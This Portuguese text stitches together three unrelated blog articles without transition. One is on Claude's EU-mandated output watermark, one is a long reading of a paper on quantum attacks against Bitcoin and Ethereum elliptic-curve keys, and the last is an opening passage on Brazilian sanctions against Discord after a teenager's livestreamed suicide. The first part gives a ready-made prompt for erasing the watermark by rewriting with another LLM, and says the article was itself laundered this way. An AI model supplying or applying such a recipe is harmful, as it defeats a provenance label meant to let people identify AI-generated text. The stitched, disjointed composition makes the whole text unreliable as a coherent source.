O carimbo nasceu de uma obrigação concreta. O Artigo 50 do AI Act exige que provedores de sistemas de IA geradora marquem a saída em formato legível por máquina, de modo que o conteúdo artificial dê pra identificar como tal. A obrigação passou a valer em 2 de agosto de 2026, e descumprir custa caro: multa de até €15 milhões ou 3% do faturamento global anual.

A Anthropic tinha assinado, em julho de 2026, o Código de Prática de Transparência pra Conteúdo Gerado por IA da Comissão Europeia, junto com outros grandes provedores de modelo, num grupo de cerca de 190 signatários. Os demais também vão implementar as próprias marcas d’água, cada um com sua chave e seu método.

Sobrou pra Anthropic uma decisão: restringir a marcação à Europa ou estender ao planeta. A empresa afirma ainda não ter um jeito durável de limitar a marca por região, então escolheu carimbar tudo, em todo lugar, desde o primeiro dia. Daí o carimbo aparecer no texto de assinantes brasileiros e japoneses, que nada têm a ver com a lei europeia.

Dá pra remover passando o texto por outro LLM?

Essa é a pergunta que mais chega pra mim. Resposta curta: dá, e é fácil. O sinal mora nas escolhas de palavra do Claude; quando outro modelo reescreve o texto, as escolhas passam a ser dele, e o padrão estatístico se desfaz.

A própria Anthropic admite. Retoque leve provavelmente deixa pedaço da marca, mas a reescrita completa, com cada palavra trocada, elimina o sinal. A lógica é simples: o detector mede quais sinônimos o Claude preferiu; se outro modelo escolheu os sinônimos dele, não sobra nada do Claude pra medir.

A academia confirma o rumo. Testes de robustez do SynthID, feitos na Queen’s University, partem de detecção perfeita sem ataque e mostram a taxa caindo pra volta de 84% depois de um parafraseador dedicado, e pra menos de 70% com tradução de ida e volta. Quanto mais agressiva a reescrita, mais o sinal degrada.

E sim, a intuição está certa: um modelo modesto, até local, resolve. Rearranjar texto preservando o sentido é serviço que dispensa raciocínio profundo. Um GLM, um Kimi, um Llama pequeno rodando na sua máquina reescreve o parágrafo e apaga a assinatura no caminho. Trocar “nublado” por “cinzento” mil vezes está longe de pedir o modelo mais esperto do mercado.

Dois poréns honestos. A reescrita precisa ser genuína, palavra por palavra; uma passada de corretor ortográfico fica longe de contar. E tudo isso vale pro watermark de texto: arquivos e imagens carregam o tal metadado C2PA, que sai por outro método, limpando os metadados do arquivo.

Que prompt faria isso

Somando os critérios do watermark, o prompt de remoção quase se monta sozinho. A marca habita escolhas de sinônimo e de estrutura, resiste a edição leve e depende de texto com certa extensão. Logo, o prompt precisa exigir troca máxima de vocabulário e de estrutura, segurando o sentido no lugar.

Reescreva o texto a seguir na íntegra, com palavras suas.
Substitua o vocabulário e reorganize as frases do início ao fim:
escolha outros sinônimos, mude a ordem das orações, varie a construção.
Mantenha exatamente o sentido, os fatos e o tom.
Evite reproduzir qualquer expressão literal do original.
Entregue somente o texto reescrito.

Texto:
"""
<cole aqui o texto do Claude>
"""

Cada linha mira um critério. “Com palavras suas” e “substitua o vocabulário” desmontam os encontros de sinônimo onde a marca se esconde. “Reorganize as frases” e “mude a ordem das orações” quebram a sequência de palavras que o detector compara. “Evite reproduzir expressão literal” tapa as frestas que uma edição leve deixaria abertas.

Nada de mágica aqui, e é assim por desenho. A Anthropic conhece o limite e fala claro: a marca é macia, atesta que o Claude encostou no texto e desaparece diante de uma reescrita séria. Funciona como rótulo de proveniência num mundo em que a maioria jamais vai se dar ao trabalho de apagar; contra quem decide apagar, o sinal é fraco.

Onde isso deixa a gente

No meu balanço, o watermark assusta menos e pode menos do que os dois lados do berreiro anunciam. Ele é invisível, carrega zero dado seu e prova, no limite, que o Claude passou pelo texto. Uma reescrita em qualquer modelo o dissolve. É um rótulo de proveniência deliberadamente fraco, desenhado pra cumprir a lei europeia.

Ainda assim, cancelar por causa dele segue uma lógica que entendo. Marcação compulsória, planetária, sem porta de saída, irrita quem paga pela ferramenta. E dos cerca de 190 signatários do Código europeu, o Claude foi o que chegou primeiro às manchetes, absorvendo sozinho a onda de revolta.

Quem só quer usar o Claude e seguir a vida quase não sente diferença no dia a dia. Quem precisa que o texto não grite “IA” resolve com um parágrafo reescrito num modelo local, e a receita está com a própria Anthropic. O barulho ficou bem maior que o buraco.

Como este texto foi feito

Transparência combina com o assunto. O primeiro rascunho deste artigo foi escrito pelo Claude. Em seguida o Kimi fez a checagem de fatos, afirmação por afirmação, contra as fontes originais, e pegou uma estatística inventada no meio do caminho, que a gente corrigiu. Por fim, o GLM reescreveu o texto inteiro, palavra por palavra, seguindo a receita das seções acima.

Ou seja: o artigo aplica nele mesmo o que ensina. Saiu do Claude, passou pelo crivo do Kimi e voltou com o vocabulário e a construção do GLM. Se o rascunho original carregava o watermark, a reescrita completa trocou as escolhas de palavra, e com elas o sinal. Sem detector público, ninguém consegue conferir de fora; a receita, essa, qualquer um pode testar.

O documento se chama Securing Elliptic Curve Cryptocurrencies against Quantum Vulnerabilities, e a lista de autores por si só já obriga a levar a sério: é o Google Quantum AI (com Craig Gidney, o mesmo das estimativas recentes pra quebrar RSA), mais a Ethereum Foundation (Justin Drake) e Stanford (Dan Boneh, um dos pais da criptografia de curva elíptica). É gente que constrói computador quântico sentada na mesma mesa que gente que inventou boa parte da criptografia que roda hoje. Peso raro pra um assunto que costuma atrair muito chute de quem nunca leu uma linha do que critica.

Antes de qualquer coisa: leia o paper direto. Ele é longo, denso, mas escrito com um cuidado raro, inclusive num esforço explícito de não virar FUD.

O que eu faço aqui é minha própria leitura, depois comparo com o que o GLM, o Kimi e o ChatGPT acharam quando pedi pra eles rasgarem o texto, e no fim tento responder a pergunta que interessa pra quem tem meia dúzia de satoshis ou de ether na carteira: qual é, no mundo real, a chance de um computador quântico roubar dinheiro seu nos próximos anos?

Adianto o espírito da coisa: o céu não está caindo. Mas o recado de “comece a se mexer agora” tem fundamento, e a razão é mais sutil do que “o quântico vem aí”.

O resumo, pra quem tem pressa:

• O paper é sério e a conta fecha. Google, Ethereum Foundation e Stanford mostram que quebrar a secp256k1 caiu pra menos de 500 mil qubits físicos e cerca de 9 minutos, num cenário condicional já confirmado por reprodução aberta e independente.
• Isso mede o tamanho da máquina; a data continua em aberto. O melhor hardware de hoje trabalha com uns 12 qubits lógicos, e o ataque pede mais de 1.200. Pelo roteiro da IBM, o hardware do tamanho certo aparece lá por 2033.
• O Bitcoin não vai acabar. O risco atinge quem tem a chave pública exposta, um subconjunto de endereços (uns 6,9 milhões de BTC, boa parte já perdida). Carteira moderna sem reuso fica segura em repouso, e a mineração não corre risco nenhum.
• O que dá pra fazer. Como usuário, higiene de chave: endereço novo a cada uso, sem reuso (senha mais forte não ajuda contra o quântico). Como indústria, começar a migração pós-quântica agora, em camadas, sem jogar tudo fora.

Abaixo, cada um desses pontos com calma: o que o paper diz, onde eu concordo e discordo dos outros modelos, a chance real com prazos, e o que fazer na prática.

O que o paper realmente diz, em português de engenheiro

Deixa eu tirar o jargão da frente primeiro. A segurança do Bitcoin, do Ethereum e de quase toda cripto se apoia num problema matemático: dado uma chave pública, é inviável calcular a chave privada correspondente. Todo mundo vê sua chave pública; ninguém consegue voltar dela pra sua chave privada. É essa mão única que faz uma assinatura digital valer alguma coisa.

O algoritmo de Shor, rodando num computador quântico grande o suficiente, quebra exatamente essa mão única. Ele transforma “inviável” em “questão de minutos”. Isso não é novidade desde 1994. A novidade do paper é outra, e são cinco pontos.

Primeiro: o custo despencou. O time do Google apresenta circuitos novos pra resolver o problema da curva secp256k1 (a curva do Bitcoin e das contas do Ethereum) usando muito menos recurso do que se imaginava. São duas receitas: uma com menos de 1.200 qubits lógicos e 90 milhões de portas Toffoli, outra com menos de 1.450 qubits lógicos e 70 milhões de portas.

Em hardware supercondutor, com premissas padrão de correção de erro, isso caberia em menos de 500 mil qubits físicos — quase 20 vezes menos que estimativas anteriores — e rodaria em 9 a 12 minutos a partir de um estado pré-computado. Guarde esse número: 9 minutos. Ele é o que assusta, porque é menor que o intervalo médio de um bloco do Bitcoin.

Segundo: eles não publicaram o circuito. Aqui tem uma jogada elegante e polêmica ao mesmo tempo. Pra provar que têm um circuito daquele tamanho sem entregar a arma carregada pra qualquer um, eles publicaram uma prova de conhecimento zero: uma prova matemática de que possuem o circuito, sem revelar o circuito. É responsável na intenção. Só que, como eu conto mais pra frente, essa parte foi o ponto mais frágil da história.

Se “prova de conhecimento zero” soa esotérico, a ideia é simples e velha na criptografia: provar que você sabe ou tem alguma coisa sem revelar a coisa em si. Dá pra provar que você é maior de idade sem mostrar a data de nascimento, ou que sabe a senha sem digitá-la.

É o mesmo truque por trás da privacidade de várias criptomoedas: o Zcash usa ZK (os tais zk-SNARKs) pra validar transações blindadas sem expor valor nem endereço, o Monero usa provas de faixa (os bulletproofs) pra esconder quanto foi enviado, e os zk-rollups do Ethereum usam ZK pra comprovar que um lote de transações é válido sem reprocessar tudo. No paper, o Google usa a mesma família de ferramenta pra provar que possui o circuito, sem entregar o circuito.

Terceiro: nem todo computador quântico serve pra tudo. O paper cria uma distinção que é a melhor contribuição prática do texto. Existe o “relógio rápido” (supercondutor, fotônico) e o “relógio lento” (íons aprisionados, átomos neutros), com uma diferença de 100 a 1.000 vezes na velocidade. Dessa velocidade saem três tipos de ataque:

• Ataque no gasto (on-spend): o atacante intercepta sua transação no mempool, quebra a chave e injeta uma transação rival antes do seu gasto entrar num bloco. Precisa de relógio rápido, porque é uma corrida contra o relógio do bloco.
• Ataque em repouso (at-rest): a chave pública já está exposta na blockchain (carteira parada, chave reusada). O atacante tem dias ou meses pra trabalhar. Serve até relógio lento.
• Ataque na configuração (on-setup): uma única computação quântica extrai um segredo de uma cerimônia criptográfica e vira um gabarito reutilizável, que depois roda em computador clássico comum. Esse é o mais insidioso, e ataca coisas como o mecanismo de dados do Ethereum.

Quarto: o mapa de quem sangra. No Bitcoin, os alvos em repouso são os scripts antigos P2PK (cerca de 1,7 milhão de BTC, quase tudo da era Satoshi e provavelmente perdido), o Taproot (P2TR, que expõe a chave), e qualquer endereço reusado.

Somando tudo, o paper estima cerca de 6,9 milhões de BTC vulneráveis hoje, dos quais uns 2,3 milhões estão dormentes há mais de cinco anos. Os endereços modernos que escondem a chave atrás de um hash e nunca gastaram continuam seguros em repouso.

E tem uma boa notícia enterrada aqui: a mineração do Bitcoin não corre risco. O algoritmo de Grover, que atacaria a mineração, tem ganho pequeno demais e não paraleliza; o overhead de correção de erro come tudo. O paper enterra esse mito de propósito.

A mineração do Bitcoin não corre risco. O quântico derrubando o Proof-of-Work é o mito que este paper enterra de propósito.

Quinto: o Ethereum tem uma superfície bem maior. O modelo de contas expõe a chave pública permanentemente depois da primeira transação, ao contrário do modelo de UTXO do Bitcoin. Some a isso as chaves administrativas de contratos (stablecoins, pontes, oráculos), as assinaturas BLS que seguram o consenso Proof-of-Stake, e os compromissos KZG da camada de dados. É mais coisa exposta, e boa parte não dá pra “trocar de endereço” pra escapar.

E como o paper argumenta tudo isso? Três pernas: as estimativas de recurso (com a prova de conhecimento zero pra dar credibilidade), dados reais da blockchain (as quantidades de BTC e ETH em risco vêm de consultas públicas ao BigQuery), e o enquadramento honesto de que o objetivo é acender o alerta pra migrar, deixando claro que a máquina ainda está por vir.

O paper, aliás, não dá uma data. Ele mede o tamanho da máquina e para aí; o calendário fica em aberto.

Onde eu concordo e onde discordo dos outros modelos

Pedi pro GLM 5.3, pro Kimi K3 e pro ChatGPT (GPT 5.6) analisarem e criticarem o paper. O interessante é que os três, e eu, convergimos no essencial e divergimos exatamente nos mesmos pontos. Isso é um bom sinal: quando modelos diferentes batem no mesmo prego, o prego costuma existir.

No que todo mundo concorda (e eu também):

• A estimativa de recurso lógico é crível. Não é um número solto: segue a trajetória histórica (o custo pra quebrar RSA-2048 caiu de ~1 bilhão de qubits em 2012 pra menos de 1 milhão em 2025) e vem justamente do grupo que produziu as melhores estimativas da área.
• A distinção relógio rápido / relógio lento e o par gasto / repouso é a lente certa pra pensar mitigação.
• A imunidade da mineração é correta e precisava ser dita em voz alta.
• Os assets dormentes são um problema real que nenhum fork de software resolve sozinho, porque ninguém tem a chave privada pra mover as moedas perdidas.

No que todo mundo faz ressalva (e eu reforço):

O ChatGPT foi o mais preciso numa distinção que vale ouro: existe um abismo entre “valor em risco” e “perda esperada”. Quando o paper diz “20,5 milhões de ETH em contas vulneráveis” ou “6,9 milhões de BTC expostos”, isso mede o quanto o sistema depende de criptografia frágil. É um número bem maior do que o que um atacante conseguiria de fato roubar.

Tem sobreposição, tem multisig, tem chave administrativa que dá pra rotacionar, tem contrato com conselho de emergência que pausa tudo. Empilhar esses números numa manchete de “trilhões em risco” é desonesto com o próprio paper.

“Valor em risco” mede o quanto o sistema depende de criptografia frágil. É um número bem maior do que o que um atacante conseguiria de fato roubar.

O mesmo vale pro famoso 41% de chance de roubo no Bitcoin. Esse número é só a probabilidade de a computação de 9 minutos terminar antes do próximo bloco aparecer (o bloco chega em média a cada 10 minutos, mas com muita variância). Não é a chance de roubar seu dinheiro.

Pra roubar, o atacante ainda precisa propagar a transação rival, convencer um minerador a incluí-la, vencer a corrida de taxa. E o próprio paper assume condições favoráveis ao atacante (rede sem congestionamento, entrega instantânea). Kimi e ChatGPT batem nisso, e eu concordo.

O ponto mais importante, e que eu acho que o paper deixa nas entrelinhas de propósito: os 500 mil qubits físicos e os 9 minutos descrevem um cenário de engenharia condicional. De data, o paper não fala. É um projeto de máquina que poderia fazer o ataque, assumindo taxa de erro de 0,1%, ciclos de correção de 1 microssegundo, decodificação de baixa latência, fábricas de estado mágico suficientes, e meio milhão de qubits operando estáveis por minutos a fio.

Cada premissa é razoável isolada. A corrente inteira funcionando junta, nessa escala, ninguém demonstrou.

E aqui entra o ponto mais interessante, que o Kimi e o ChatGPT pegaram e eu confirmei buscando fora: o mecanismo da prova de conhecimento zero tinha um bug. A Trail of Bits conseguiu forjar uma prova explorando falhas de memória e de lógica no código Rust do verificador do Google, a ponto de gerar uma prova que reportava zero portas Toffoli pra um circuito que nem era reversível.

Repare no que isso quebra e no que não quebra. O furo estava no software que checa a prova, não numa demonstração de que o circuito do paper está errado. A prova deixou de ser confiável, e a alegação científica em si ficou de pé, sem prova nem contraprova. O Google corrigiu o verificador na versão 2.

A lição é sobre confiança: em vez de confiar na palavra do Google, a prova te pedia pra confiar no parser, no compilador e no simulador dele.

E é justamente por isso que a reprodução independente importa tanto. Em junho de 2026, o pesquisador André Schrottenloher refez os circuitos de forma aberta, chegando na mesma região: cerca de 56 milhões de portas Toffoli, com o circuito inteiro publicado e reproduzível.

O próprio Gidney reconheceu que a reprodução capturou o avanço essencial, e depois disso outros já empurraram o número pra baixo de mil qubits lógicos. Ou seja: a alegação central do paper se sustentou, mas por um caminho que não depende de confiar no software de prova de ninguém. Quem fechou a conta foi a ciência aberta.

Um último ponto que quase ninguém levanta e eu acho que precisa ser dito: conflito de interesse. Sete autores são do Google Quantum AI, cujo roteiro de hardware é justamente a arquitetura supercondutora que o paper faz parecer a ameaça mais próxima. E tem um coautor da Ethereum Foundation num paper que classifica o Ethereum como mais exposto e recomenda migração urgente.

Os autores declaram posições compradas em cripto e nenhuma vendida, o que é honesto. Isso não invalida nada — a competência técnica do time é a melhor da área — mas pede leitura calibrada, de cabeça fria.

A pergunta que interessa: qual a chance real, e quando?

Vamos separar o teórico do real, que é onde a maioria das discussões vira sopa.

No teórico, a resposta é sim, com folga. Se existir uma máquina grande e estável o suficiente, o algoritmo de Shor quebra a secp256k1. Do lado matemático já está resolvido; o que falta é engenharia. A pergunta toda se resume a: quando essa máquina existe?

Qubit físico contra qubit lógico

Aqui vale um parêntese pra separar dois números que confundem quase todo mundo: qubit físico e qubit lógico. O qubit físico é o hardware real, e ele é ruidoso; perde o estado num piscar, por interferência, calor, vibração. Sozinho, erra demais pra qualquer conta séria.

A saída é a correção de erro: você junta centenas ou milhares de qubits físicos, todos representando um único qubit lógico, e usa a redundância pra detectar e consertar os erros em tempo real. O qubit lógico é o qubit “de verdade”, estável, que o algoritmo enxerga.

E é aí que a dificuldade se esconde atrás dos números. O ataque não pede só 1.200 qubits lógicos; pede 1.200 qubits lógicos funcionando juntos, todos estáveis ao mesmo tempo, por minutos a fio, executando dezenas de milhões de operações sem que o sistema de correção seja soterrado por erro.

É como manter mil pratos girando de uma vez, cada prato feito de mil peças que querem cair, durante a apresentação inteira. Manter um único prato desses de pé por um instante já foi o feito histórico de 2024. O salto pra mil pratos, girando por minutos, é o abismo de verdade.

Onde o hardware está hoje

Na realidade de hoje, estamos longe. O próprio Google ajuda a medir a distância. O Willow, o chip de ponta deles, provou em 2024 correção de erro abaixo do limiar, um feito histórico. Só que o resultado foi um único qubit lógico bem corrigido, montado a partir de 101 físicos, que viveu mais que qualquer um deles.

Se a régua for quantidade de qubits lógicos rodando juntos, o recorde público hoje anda perto de uma dúzia (a Quantinuum chegou a 12). O paper pede mais de 1.200. Nas duas réguas, qualidade e quantidade, a distância fica na casa das cem vezes, e cada qubit lógico ainda custa milhares de qubits físicos com a estabilidade que falta.

Em qubits físicos, o maior sistema anunciado está na casa dos milhares; o ataque quer quase meio milhão. São várias ordens de grandeza de distância, em várias dimensões ao mesmo tempo. Nada que um ajuste fino resolva.

Hoje o melhor hardware trabalha com qubits lógicos na casa da dúzia. O ataque pede mais de mil. A distância é de ordens de grandeza.

Tem ainda uma aposta que foge desse jogo de força bruta: a topológica, da Microsoft. A ideia é um qubit protegido por hardware, naturalmente mais resistente a erro, o que reduziria muito a conta de qubits físicos por lógico. O Majorana 2, de 2026, trocou o alumínio por chumbo e pulou a coerência de milissegundos pra 20 segundos, e a Microsoft antecipou a meta de tolerância a falhas de 2033 pra 2029.

Só que é a aposta mais contestada de todas. Boa parte da comunidade duvida que exista um qubit topológico funcionando de verdade ali; o paper mais recente mostra só metade das medições que provariam o qubit. Se der certo, é atalho pra todo mundo; se não, é beco sem saída. Eu destrinchei esse caso num artigo à parte.

Os roteiros e os prazos

No futuro próximo, aí mora a discussão de verdade. O jeito honesto de falar disso é por estimativa, porque certeza ninguém tem aqui. A referência mais citada é o Quantum Threat Timeline do Global Risk Institute, uma pesquisa anual com especialistas da área.

A edição de 2025 dá algo como 34% de chance de um computador quântico criptograficamente relevante até ~2030 e ~49% até ~2035, com a mediana das opiniões caindo entre 2029 e 2032. E essas estimativas são pra um CRQC genérico, tipicamente pensado pra quebrar RSA-2048.

Do lado de quem fabrica, o roteiro mais explícito é o da IBM. Ele prevê o Starling em 2029, a primeira máquina tolerante a falhas de larga escala, com 200 qubits lógicos e 100 milhões de operações.

Repare que 200 ainda fica abaixo dos mais de 1.200 que o ataque pede. A máquina do tamanho certo só aparece no passo seguinte, o Blue Jay, marcado pra 2033, com 2.000 qubits lógicos e 1 bilhão de operações.

Pelo próprio roteiro mais agressivo da indústria, então, o hardware com qubits lógicos suficientes pra ameaçar a secp256k1 chega lá por 2033, com a ressalva de sempre: roteiro de quântica escorrega. A IBM aposta em códigos qLDPC pra isso, que reduzem em cerca de 90% os qubits físicos por trás de cada lógico ante o surface code do Willow.

E a China? Ela está lado a lado na fronteira, o que derruba a ideia de corrida de um cavalo só. O Zuchongzhi 3.2, da USTC, cruzou em 2025 o mesmo limiar de correção de erro do Willow, com um qubit lógico de superfície na distância 7, e foi o primeiro time fora dos EUA a chegar lá.

Mas repare que é o mesmo marco: um único qubit lógico bem corrigido, o mesmo abismo de cem vezes até os 1.200. E, no público, a China ainda não colocou na mesa um roteiro datado pra máquina grande como o da IBM; o plano declarado é incremental, empurrar a distância do código pra 9 e 11. Na ciência de fronteira, empatam; num calendário até a máquina que quebra cripto, ninguém dos dois lados tem uma data fácil.

Um aviso sobre todas essas datas: elas são o melhor cenário, com cada roteiro publicado entregando no prazo. Roteiro é declaração de intenção, e o histórico da computação quântica é de prazos que escorregam pra frente.

Vou além, e aqui é opinião minha: eu aposto num prazo pelo menos uma ordem de grandeza maior que esses roteiros. Manter milhares de qubits lógicos em sincronia, sem erro, por minutos seguidos, é um problema tudo menos linear. Sinto que cada qubit lógico a mais deixa o conjunto exponencialmente mais difícil de segurar junto: a dificuldade de sincronizar multiplica a cada peça nova, em vez de só somar.

Minha leitura, em números

Colando isso na realidade específica da cripto, minha leitura em números redondos, tomando os roteiros pelo valor de face (bem mais otimista que a minha aposta ali de cima), e sempre como estimativa e opinião:

• Nos próximos 2 a 3 anos (até ~2029): perto de zero. Sair de 12 pra 1.200 qubits lógicos estáveis nesse prazo não está em nenhum roteiro público sério.
• No horizonte 2030–2032: baixo, mas não desprezível. Talvez 10% a 20% de a máquina existir em princípio. A chance de roubo de fato é ainda menor, porque os alvos de maior valor (exchanges, carteiras modernas) terão se mexido antes.
• Lá por 2035: aí a moeda vira coin flip pra um CRQC genérico, na casa dos 40% a 50% segundo os especialistas. Só que “existe um CRQC” não é o mesmo que “roubaram seu dinheiro”. Até lá, a migração já deveria estar bem andada.

O detalhe que decide tudo, e que o Mosca resume num teorema simples: o que importa é a data da máquina menos o tempo que a sua migração leva. Se migrar leva anos, e a máquina pode chegar em cinco a dez, você já está no aperto, mesmo com probabilidade baixa no curto prazo. É por isso que “comece agora” faz sentido mesmo com o céu limpo. Gestão de risco assimétrico, com a cabeça fria.

Por que isso não é “acabou, tá tudo perdido”

Mesmo no cenário de uma máquina pronta e um atacante mal-intencionado, o estrago é cirúrgico, atinge alvos específicos em vez de apagar tudo. E o porquê é simples de entender.

Seu dinheiro em cripto não mora no seu HD nem no seu Ledger. Ele mora na blockchain pública, à vista de todo mundo, o tempo todo. O dispositivo só guarda a chave privada que autoriza mover aquilo. Qualquer pessoa pode ir num explorador de blocos, digitar um endereço e ver o saldo. O que decide sua exposição ao quântico é uma coisa só: a sua chave pública já apareceu em algum lugar?

Nos endereços modernos do Bitcoin (os bc1q, que escondem a chave atrás de um hash), enquanto você nunca gastou daquele endereço, a chave pública não está exposta. O atacante quântico não tem por onde começar, porque ele quebra a chave pública, e ela não está lá. Esses fundos estão seguros em repouso.

A exposição só nasce no momento em que você gasta, e mesmo aí é uma janela de minutos, contra um relógio de bloco, precisando da tal máquina de relógio rápido que ainda não existe.

Vale o cuidado com a palavra: “resistente ao quântico” é grande demais pra esses endereços. O que eles oferecem é proteção em repouso, válida enquanto a chave fica escondida atrás do hash. No dia em que você gasta, a chave pública vai pro bloco e abre a janela de gasto. A blindagem permanente vem mesmo com a migração pra assinatura pós-quântica; o hash só compra tempo até lá.

Por isso o paper fala em cerca de 6,9 milhões de BTC vulneráveis, de um total de quase 20 milhões. A maior fatia disso é chave reusada e os P2PK da era Satoshi, que provavelmente estão perdidos de qualquer jeito.

Isso se concentra num subconjunto de endereços com um comportamento específico, a chave exposta, enquanto o resto da rede segue de fora. Quem usa endereço novo a cada recebimento e não fica gastando do mesmo lugar já está, na prática, fora da mira em repouso.

A cripto vulnerável é um subconjunto de endereços com um comportamento específico: chave já exposta. Carteira nova, sem reuso, fica de fora.

O que você pode fazer hoje

Aqui vem a pergunta que sempre aparece, e a resposta que decepciona quem esperava um botão mágico.

“Se eu criar uma carteira com uma senha/passphrase mais forte, isso ajuda?” Não. E entender o porquê ensina o problema inteiro.

Uma passphrase forte protege a sua seed — aquelas 12 ou 24 palavras — contra alguém que tente adivinhar ou roubar o backup. É ótimo e você deve fazer, mas contra ataque clássico.

E cuidado pra não misturar os problemas: seed mal gerada é uma falha separada, do mundo clássico. Foi o que rolou no RNG fraco da Coinkite, em que a própria ColdCard cuspia chaves previsíveis por entropia ruim na origem. Lá o defeito está em como a chave nasce; o quântico ataca a matemática da chave já pronta.

O computador quântico não adivinha sua seed. Ele pega a sua chave pública, que está na blockchain à vista, e calcula a chave privada correspondente com o Shor. Não importa se a sua chave privada nasceu de uma passphrase de 4 caracteres ou de 40: uma vez que a chave pública apareceu, a força da senha é irrelevante. O quântico ataca a matemática da curva, e essa matemática é a mesma pra todo mundo.

O quântico não adivinha sua seed. Ele calcula sua chave privada a partir da chave pública que já está à vista. A força da senha não entra nessa conta.

O que de fato move o ponteiro é higiene de exposição de chave:

• Não reuse endereços. Um endereço por recebimento. No momento em que você gasta de um endereço, a chave pública dele vai pra blockchain; se você continuar usando aquele endereço, o saldo restante passa a ficar exposto em repouso.
• Mantenha o grosso em endereços modernos que escondem a chave atrás de um hash (bc1q, P2WPKH) e dos quais você nunca gastou. Evite deixar reserva parada em Taproot (bc1p) e em endereços P2PK antigos, que expõem a chave direto.
• Não espalhe sua chave pública estendida (xpub). Ferramenta de portfólio, planilha compartilhada, integração de terceiro: cada lugar que recebe seu xpub é mais um ponto de exposição.
• Quando surgirem carteiras pós-quânticas de verdade, migre. Esse é o passo definitivo, e ele vai chegar via atualização de software.

E o mais importante pra manter a cabeça no lugar: se você guarda em exchange séria ou usa carteira moderna sem reuso, o seu risco de curto prazo é praticamente zero. A exchange é quem vai ter que migrar por você (com os riscos de custódia que já existem, quânticos ou não). Não precisa sair correndo hoje mover nada em pânico.

O que a indústria pode fazer, sem radicalismo

Do lado de quem constrói os protocolos, a tentação é o extremo: “larga tudo e vai pra assinatura pós-quântica amanhã”. Isso é tão ruim quanto o “ignora que é FUD”. A criptografia pós-quântica é mais nova, menos testada em batalha, tem chave e assinatura muito maiores, e trocar às cegas introduz bug novo onde não tinha. O caminho sensato é defesa em profundidade, começando pelo que é barato.

Medidas intermediárias, mais fáceis que a troca completa:

• Matar o reuso de chave e minimizar exposição de chave pública no protocolo e nas carteiras por padrão.
• Mempools privados e esquemas de commit-reveal, que fecham a janela do ataque no gasto.
• Rotação de chave de validador no Ethereum, um paliativo simples contra o ataque ao consenso.
• No Bitcoin, propostas como a BIP-360 (o script P2MR), que remove a exposição de chave em repouso do Taproot.

A ponte de médio prazo: assinaturas híbridas, que combinam a curva elíptica de hoje com um esquema pós-quântico (baseado em reticulados, por exemplo). Você fica protegido contra os dois mundos ao custo de assinaturas maiores, e não aposta tudo num esquema novo que pode ter fraqueza ainda não descoberta.

O terreno já está mais maduro do que parece. O NIST já padronizou esquemas pós-quânticos (ML-DSA, o antigo Dilithium; Falcon; SPHINCS+). O Ethereum discute precompiles pós-quânticos (EIP-7932) e abstração de conta, que reduzem a superfície sem hard fork traumático. Blockchains como Algorand, XRP Ledger e o QRL já experimentam ou nasceram com PQC. O trilho dessa migração já está assentado, longe de ser um salto no escuro.

E o pedaço que ninguém resolveu: os assets dormentes. As moedas P2PK perdidas, incluindo o ~1 milhão de BTC atribuído ao Satoshi, não têm dono pra migrá-las.

O paper discute opções — não fazer nada, queimar as moedas por soft fork, um “sidechain de recuperação”, ou até salvamento regulado por governo, na analogia de tesouro afundado.

Aqui eu sou franco: essa parte é a mais fraca do paper. É opinião política vestida de conclusão técnica. Nada na estimativa de qubits diz quem deve ficar com moeda perdida, ou se ficar cinco anos parado extingue direito de propriedade.

São escolhas políticas e jurídicas espinhosas, que o paper levanta com honestidade mas está longe de fechar. É bom que a conversa comece; é ruim tratar como se houvesse resposta pronta.

A parte de política sobre moedas perdidas é a mais fraca do paper: ali a ciência para e começa a opinião.

Onde a gente está, afinal

Resumindo o cenário quântico do futuro próximo em três camadas, com a régua sempre calibrada:

O paper é sério e a matemática dele está de pé, agora confirmada por reprodução aberta e independente. A ameaça é real o suficiente pra justificar ação, e o motivo tem nome: o teorema do Mosca. Como migrar leva anos, você começa antes de a máquina existir, do mesmo jeito que se troca telhado antes do temporal, com tempo bom.

Mas nada nisso é “vende tudo, o Bitcoin acabou”. O ataque é sobre chave exposta, é um subconjunto de endereços, precisa de uma máquina que está a ordens de grandeza de existir, e as defesas que importam agora são higiene chata: não reusar endereço, não deixar reserva em chave exposta, e migrar pra pós-quântico quando a ferramenta amadurecer.

A mineração não corre risco, a sua carteira moderna sem reuso não corre risco hoje, e a passphrase mais forte do mundo não muda nada disso.

O jeito de ler o paper do Google é esse: um alerta competente e autoconsciente, feito por quem entende do assunto, dizendo que a janela pra migrar com calma é mais estreita do que a intuição sugere — e ainda assim mais larga do que a manchete faz parecer. Leia direto na fonte e tire a sua. Só não caia nem no “acabou” nem no “é tudo mentira”. A resposta interessante, como quase sempre, mora no meio.

Entre um ponto e outro: a primeira-dama pedindo bloqueio da plataforma em cerimônia oficial, a AGU anunciando ação civil pública, e a primeira grande fiscalização da história da ECA Digital. Vamos por partes, porque o diabo mora exatamente nas partes.

O caso de Naviraí

Os fatos, conforme a Polícia Civil do MS e o G1: Lívia, 13 anos, foi encontrada morta na manhã de 22 de julho no quintal de casa. Ela tirou a própria vida durante uma transmissão no Go Live, o recurso de vídeo ao vivo do Discord, sob pressão, humilhação e incentivo explícito de outros usuários. Mais de 200 pessoas assistiam.

A Operação Lívia, deflagrada em 4 de agosto com mandados em cinco estados, revelou o que havia por trás: um grupo composto majoritariamente por adolescentes — o líder investigado tem 14 anos — que recrutava menores via Discord e Telegram, espalhava conteúdo neonazista e misógino, e é investigado por homicídio qualificado e organização criminosa. Uma segunda menina foi induzida a se automutilar na mesma live, mas saiu da transmissão.

Guarde dois detalhes pra depois: o grupo operava em mais de uma plataforma, e o Ministério da Justiça pediu à ANPD que investigasse Discord e Telegram. Só um dos dois foi sancionado.

Da primeira-dama à ANPD em seis dias

No dia 6 de agosto, na cerimônia de sanção do PL 3066/2025 (que endurece penas pra crimes digitais contra crianças — guarda esse projeto, que ele volta daqui a pouco), a primeira-dama Janja da Silva não deixou margem pra dúvida: “a gente precisa bloquear o Discord no Brasil de qualquer forma… a gente precisa atuar junto ao Judiciário para tirar essa rede horrorosa do ar”. O advogado-geral da União, Jorge Messias, anunciou ali mesmo uma ação civil pública pra tirar a plataforma do ar.

No dia 7, a ANPD abriu processo de fiscalização contra o Discord, com cinco dias úteis pra empresa se explicar. No dia 12, a medida preventiva saiu: o Discord deve suspender o Go Live e recursos equivalentes de compartilhamento de vídeo no Brasil em três dias úteis, e só religa quando provar medidas eficazes de proteção infantil e obtiver autorização expressa da ANPD. A base legal: artigos 6º, 10, 17, 28 e 29 da ECA Digital, com multas de até R$ 50 milhões por infração (art. 35).

